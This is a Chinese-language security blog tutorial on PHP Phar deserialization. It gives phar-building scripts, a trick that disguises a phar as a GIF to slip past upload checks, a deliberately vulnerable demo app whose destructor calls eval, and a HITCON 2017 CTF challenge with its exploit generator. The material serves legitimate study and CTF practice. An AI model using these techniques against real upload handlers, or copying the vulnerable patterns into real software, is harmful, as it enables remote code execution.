文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-05-09   2.1k

PHP反序列化学习——Phar反序列化

Phar原理

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

Phar demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->data = 'ca01h';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

访问后,会生成一个phar.phar在当前目录下。

可以明显的看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后受影响的函数列表:

就用比较常用的函数file_get_contents()函数举例:

1
2
3
4
5
6
7
8
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
file_get_contents('phar://phar.phar/test.txt');

至于为什么这些函数在解析phar文件时会进行反序列化操作,可以看一下zsf师傅的深层次剖析:

https://blog.zsxsoft.com/post/38

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper,都可能触发phar反序列化漏洞。

将Phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class TestObject {
}
$phar = new Phar('img.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'ca01h';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

Phar反序列化漏洞利用

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

Phar简单利用

index.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

evil.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过。

用下面的代码生成phar文件

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = "phpinfo()";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成的phar.phar修改后缀名phar.gif,再上传该文件,用phar协议解析:

Phar反序列化实例

[HITCON 2017]Baby^h Master PHP

我们先看看Orange 在 2017 年 hitcon 上面出的利用 Phar 进行反序列化,毕竟这是第一次出现这种利用方式的地方,应该来说是最经典的利用场景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
// 得到 flag 的匿名函数
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
// 根据 remote_addr 给每个人创建一个沙盒
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);


if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
//将每个人唯一的沙盒对象加上签名后作为 session-data
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}


class User {
public $avatar;
function __construct($path) {
//设置了头像的路径为沙盒路径
$this->avatar = $path;
}
}


class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
/*反序列化这个对象就能创建一个随机名字的函数,调用这个函数就能调用 flag,实际上这是一个骗局,匿名函数也是有名字的*/
."}");
$_GET["lucky"]();
}
}

//判断身份,如果身份正确返回头像路径(沙盒路径)
//该函数不可绕过
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}

//获取头像,检查头是否为GIF89a ,正确后存入沙盒
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
//这个就是利用 phar:// 进行反序列化的点
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

//获取这个沙盒中的头像
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}


$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

这道题很明确就是一个反序列化的题,我们的目的就是通过反序列化 Admin 这个类得到我们的 flag。但是如果我们想利用 unserailize() ,通过控制其参数去实现我们的反序列化,我们就必须绕过对 cookie 的检测,但是cookie 是通过 remote_addr 配合 sha1 进行 hmac 签名生成的,想绕过他那是不可能的。现在我们就要思考一下 是不是能用 Phar 这个在不使用 unserialize() 的方式完成序列化成功 get flag,然后我们就看到了这个函数:

1
2
3
4
5
6
7
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

我们只要的精心构造一个包含 Admin 对象、包含 avatar.gif 文件,并且 stub 是 GIF89a 的 phar 文件然后上传上去,下一次请求通过 Phar:// 协议让 file_get_contents 请求这个文件就可以实现我们对 Admin 对象的反序列化了。

1
2
3
4
5
6
7
8
9
10
<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

之后会利用匿名函数生成函数名的特点,这里就不多叙述。

这道题我在BUU上面一直没有复现成功,卡在上传phar文件,一直回显fuck off,不知道为什么,有知道的师傅可以赐教一下。

[LCTF2018] T4lk 1sch34p,sh0w m3 the sh31l

这道题没有复现环境,是K0rz3n师傅根据上面这道题魔改的。

出题人的思路:

https://www.k0rz3n.com/2018/11/19/LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析/

Copyright © ca01h 2019-2020 | 本站总访问量